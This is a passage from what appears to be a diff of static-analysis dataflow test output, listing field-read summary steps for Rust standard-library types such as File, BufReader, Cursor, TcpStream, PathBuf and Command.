Argument[self].Field[crate::fs::File::inner] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | File | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fs::File::inner] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner_mut | FileTimes | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fs::FileTimes(0)] in lang:std::_::::as_inner_mut | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | FileType | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fs::FileType(0)] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | Metadata | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fs::Metadata(0)] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | OpenOptions | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fs::OpenOptions(0)] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner_mut | OpenOptions | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fs::OpenOptions(0)] in lang:std::_::::as_inner_mut | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | Permissions | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fs::Permissions(0)] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_mut | Chain.first | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::Chain::first] in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_mut | Chain.second | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::Chain::second] in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_ref | Chain.first | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::Chain::first] in lang:std::_::::get_ref | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_ref | Chain.second | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::Chain::second] in lang:std::_::::get_ref | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | Chain.first | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::Chain::first] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | Chain.second | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::Chain::second] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_mut | Take.inner | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::Take::inner] in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_ref | Take.inner | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::Take::inner] in lang:std::_::::get_ref | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | Take.inner | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::Take::inner] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::limit | Take.limit | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::Take::limit] in lang:std::_::::limit | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::error | IntoInnerError(1) | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::buffered::IntoInnerError(1)] in lang:std::_::::error | | file://:0:0:0:0 | [summary param] self in lang:std::_::::error | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in lang:std::_::::error | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_error | IntoInnerError(1) | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::buffered::IntoInnerError(1)] in lang:std::_::::into_error | | file://:0:0:0:0 | [summary param] self in lang:std::_::::into_error | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in lang:std::_::::into_error | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | IntoInnerError(0) | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::buffered::IntoInnerError(0)] in lang:std::_::::into_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_mut | BufReader.inner | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::buffered::bufreader::BufReader::inner] in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_ref | BufReader.inner | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::buffered::bufreader::BufReader::inner] in lang:std::_::::get_ref | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | BufReader.inner | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::buffered::bufreader::BufReader::inner] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::consume | Buffer.filled | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::buffered::bufreader::buffer::Buffer::filled] in lang:std::_::::consume | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::filled | Buffer.filled | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::buffered::bufreader::buffer::Buffer::filled] in lang:std::_::::filled | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::pos | Buffer.pos | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::buffered::bufreader::buffer::Buffer::pos] in lang:std::_::::pos | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::buffer | BufWriter.buf | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::buffered::bufwriter::BufWriter::buf] in lang:std::_::::buffer | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::buffer_mut | BufWriter.buf | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::buffered::bufwriter::BufWriter::buf] in lang:std::_::::buffer_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_mut | BufWriter.inner | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::buffered::bufwriter::BufWriter::inner] in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_ref | BufWriter.inner | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::buffered::bufwriter::BufWriter::inner] in lang:std::_::::get_ref | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | WriterPanicked | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::buffered::bufwriter::WriterPanicked::buf] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::seek | Cursor.pos | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::cursor::Cursor::pos] in lang:std::_::::seek | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::stream_position | Cursor.pos | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::cursor::Cursor::pos] in lang:std::_::::stream_position | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_mut | Cursor.inner | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::cursor::Cursor::inner] in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_ref | Cursor.inner | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::cursor::Cursor::inner] in lang:std::_::::get_ref | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | Cursor.inner | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::cursor::Cursor::inner] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::position | Cursor.pos | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::cursor::Cursor::pos] in lang:std::_::::position | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | TcpListener | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::tcp::TcpListener(0)] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | TcpListener | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::tcp::TcpListener(0)] in lang:std::_::::into_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | TcpStream | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::tcp::TcpStream(0)] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | TcpStream | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::tcp::TcpStream(0)] in lang:std::_::::into_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | UdpSocket | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::udp::UdpSocket(0)] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | UdpSocket | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::udp::UdpSocket(0)] in lang:std::_::::into_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::into_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_fd | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:std::_::::as_fd | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | UnixDatagram | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::os::unix::net::datagram::UnixDatagram(0)] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | UnixStream | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::os::unix::net::stream::UnixStream(0)] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::can_unwind | PanicHookInfo.can_unwind | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::panic::PanicHookInfo::can_unwind] in lang:std::_::::can_unwind | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::force_no_backtrace | PanicHookInfo.force_no_backtrace | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::panic::PanicHookInfo::force_no_backtrace] in lang:std::_::::force_no_backtrace | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::location | PanicHookInfo.location | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::panic::PanicHookInfo::location] in lang:std::_::::location | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::payload | PanicHookInfo.payload | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::panic::PanicHookInfo::payload] in lang:std::_::::payload | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::next | Ancestors | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::path::Ancestors::next] in lang:std::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_ref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:std::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_ref | Normal | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::path::Component::Normal(0)] in lang:std::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_os_str | Normal | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::path::Component::Normal(0)] in lang:std::_::::as_os_str | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::next_back | Components.path | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::path::Components::path] in lang:std::_::::next_back | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::next | Components.path | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::path::Components::path] in lang:std::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_ref | Path | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::path::Path::inner] in lang:std::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_mut_os_str | Path | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::path::Path::inner] in lang:std::_::::as_mut_os_str | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_os_str | Path | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::path::Path::inner] in lang:std::_::::as_os_str | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::display | Path | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::path::Path::inner] in lang:std::_::::display | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_ref | PathBuf | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::path::PathBuf::inner] in lang:std::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_mut_os_string | PathBuf | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::path::PathBuf::inner] in lang:std::_::::as_mut_os_string | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_os_string | PathBuf | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::path::PathBuf::inner] in lang:std::_::::into_os_string | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_os_str | PrefixComponent.raw | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::path::PrefixComponent::raw] in lang:std::_::::as_os_str | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::kind | PrefixComponent.parsed | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::path::PrefixComponent::parsed] in lang:std::_::::kind | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | Child.handle | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::process::Child::handle] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | Child.handle | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::process::Child::handle] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | ChildStderr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::process::ChildStderr::inner] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | ChildStderr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::process::ChildStderr::inner] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | ChildStdin | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::process::ChildStdin::inner] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | ChildStdin | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::process::ChildStdin::inner] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | ChildStdout | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::process::ChildStdout::inner] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | ChildStdout | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::process::ChildStdout::inner] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | Command | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::process::Command::inner] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner_mut | Command | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::process::Command::inner] in lang:std::_::::as_inner_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | ExitCode | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::process::ExitCode(0)] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | ExitStatus | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::process::ExitStatus(0)] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::is_leader | BarrierWaitResult | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::barrier::BarrierWaitResult(0)] in lang:std::_::::is_leader | | file://:0:0:0:0 | [summary param] self in lang:std::_::::is_leader | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::is_leader | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::capacity | Channel.cap | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::mpmc::array::Channel::cap] in lang:std::_::::capacity | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::len | Channel.cap | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::mpmc::array::Channel::cap] in lang:std::_::::len | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::acquire | Receiver | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::mpmc::counter::Receiver::counter] in lang:std::_::::acquire | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::acquire | Sender | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::mpmc::counter::Sender::counter] in lang:std::_::::acquire | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into | Operation | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::mpmc::select::Selected::Operation(0)] in lang:std::_::::into | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::deref | CachePadded | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::mpmc::utils::CachePadded::value] in lang:std::_::::deref | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::deref_mut | CachePadded | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::mpmc::utils::CachePadded::value] in lang:std::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::clone | Sender | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::mpsc::Sender::inner] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::clone | SyncSender | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::mpsc::SyncSender::inner] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_mut | PoisonError | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_ref | PoisonError | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::get_ref | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | PoisonError | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::cause | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:std::_::::cause | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::timed_out | WaitTimeoutResult | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::poison::condvar::WaitTimeoutResult(0)] in lang:std::_::::timed_out | | file://:0:0:0:0 | [summary param] self in lang:std::_::::timed_out | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::timed_out | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | Mutex.data | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::poison::mutex::Mutex::data] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::is_poisoned | OnceState | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::poison::once::OnceState::inner] in lang:std::_::::is_poisoned | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | RwLock.data | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::poison::rwlock::RwLock::data] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_mut | ReentrantLock.data | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::reentrant_lock::ReentrantLock::data] in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | ReentrantLock.data | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::reentrant_lock::ReentrantLock::data] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::deref | ReentrantLockGuard | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::reentrant_lock::ReentrantLockGuard::lock] in lang:std::_::::deref | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::clone | Buf | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::os_str::bytes::Buf::inner] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | Buf | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::os_str::bytes::Buf::inner] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | Buf | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::os_str::bytes::Buf::inner] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_encoded_bytes | Buf | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::os_str::bytes::Buf::inner] in lang:std::_::::into_encoded_bytes | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_encoded_bytes | Slice | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::os_str::bytes::Slice::inner] in lang:std::_::::as_encoded_bytes | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | FileDesc | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::fd::FileDesc(0)] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | FileDesc | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::fd::FileDesc(0)] in lang:std::_::::into_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | File | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::fs::File(0)] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner_mut | File | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::fs::File(0)] in lang:std::_::::as_inner_mut | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | File | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::fs::File(0)] in lang:std::_::::into_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | FileAttr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::fs::FileAttr::stat] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | AnonPipe | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::pipe::AnonPipe(0)] in lang:std::_::::into_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_file_desc | AnonPipe | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::pipe::AnonPipe(0)] in lang:std::_::::as_file_desc | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_file_desc | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_file_desc | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::fd | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:std::_::::fd | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::env_mut | Command.env | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::env] in lang:std::_::::env_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_argv | Command.argv | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::argv] in lang:std::_::::get_argv | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_closures | Command.closures | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::closures] in lang:std::_::::get_closures | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_gid | Command.gid | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::gid] in lang:std::_::::get_gid | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_pgroup | Command.pgroup | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::pgroup] in lang:std::_::::get_pgroup | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_program_cstr | Command.program | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::program] in lang:std::_::::get_program_cstr | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_program_kind | Command.program_kind | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::program_kind] in lang:std::_::::get_program_kind | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get_uid | Command.uid | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::uid] in lang:std::_::::get_uid | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::saw_nul | Command.saw_nul | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::saw_nul] in lang:std::_::::saw_nul | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_raw | ExitStatus | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::process::process_inner::ExitStatus(0)] in lang:std::_::::into_raw | | file://:0:0:0:0 | [summary param] self in lang:std::_::::into_raw | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::into_raw | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::id | Thread | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::thread::Thread::id] in lang:std::_::::id | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::get | ExternWeak | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sys::pal::unix::weak::ExternWeak::weak_ptr] in lang:std::_::::get | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::is_poisoned | OnceState.poisoned | 